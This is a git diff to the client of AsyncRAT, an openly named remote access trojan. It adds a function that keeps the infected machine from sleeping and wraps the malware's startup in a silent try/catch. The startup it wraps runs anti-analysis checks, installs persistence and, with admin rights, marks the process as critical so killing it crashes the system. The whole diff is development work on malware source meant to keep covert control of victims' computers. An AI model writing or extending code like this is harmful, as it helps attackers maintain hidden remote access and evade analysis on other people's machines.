diff --git a/AsyncRAT-C#/Client/Helper/Methods.cs b/AsyncRAT-C#/Client/Helper/Methods.cs
index 5d5cb01..3004f9f 100644
--- a/AsyncRAT-C#/Client/Helper/Methods.cs
+++ b/AsyncRAT-C#/Client/Helper/Methods.cs
@@ -12,6 +12,7 @@ using System.Security.Principal;
 using System.Text;
 using System.Threading;
 using System.Drawing.Imaging;
+using System.Runtime.InteropServices;
 
 namespace Client.Helper
 {
@@ -120,5 +121,23 @@ namespace Client.Helper
             return null;
         }
 
+
+        [DllImport("kernel32.dll", SetLastError = true)]
+        public static extern EXECUTION_STATE SetThreadExecutionState(EXECUTION_STATE esFlags);
+        public static void PreventSleep()
+        {
+            try
+            {
+                SetThreadExecutionState(EXECUTION_STATE.ES_SYSTEM_REQUIRED | EXECUTION_STATE.ES_CONTINUOUS | EXECUTION_STATE.ES_DISPLAY_REQUIRED);
+            }
+            catch { }
+        }
+
+        public enum EXECUTION_STATE : uint
+        {
+            ES_CONTINUOUS = 0x80000000,
+            ES_DISPLAY_REQUIRED = 0x00000002,
+            ES_SYSTEM_REQUIRED = 0x00000001
+        }
     }
 }
diff --git a/AsyncRAT-C#/Client/Program.cs b/AsyncRAT-C#/Client/Program.cs
index a2414ca..24bf80f 100644
--- a/AsyncRAT-C#/Client/Program.cs
+++ b/AsyncRAT-C#/Client/Program.cs
@@ -23,17 +23,23 @@ namespace Client
             Thread.Sleep(2500);
             if (!Settings.InitializeSettings()) Environment.Exit(0);
 
-            if (!Methods.CreateMutex())
-                Environment.Exit(0);
+            try
+            {
+                if (!Methods.CreateMutex())
+                    Environment.Exit(0);
 
-            if (Convert.ToBoolean(Settings.Anti))
-                Anti_Analysis.RunAntiAnalysis();
+                if (Convert.ToBoolean(Settings.Anti))
+                    Anti_Analysis.RunAntiAnalysis();
 
-            if (Convert.ToBoolean(Settings.Install))
-                NormalStartup.Install();
+                if (Convert.ToBoolean(Settings.Install))
+                    NormalStartup.Install();
 
-            if (Convert.ToBoolean(Settings.BDOS) && Methods.IsAdmin())
-                ProcessCritical.Set();
+                if (Convert.ToBoolean(Settings.BDOS) && Methods.IsAdmin())
+                    ProcessCritical.Set();
+
+                Methods.PreventSleep();
+            }
+            catch { }
 
             while (true)
             {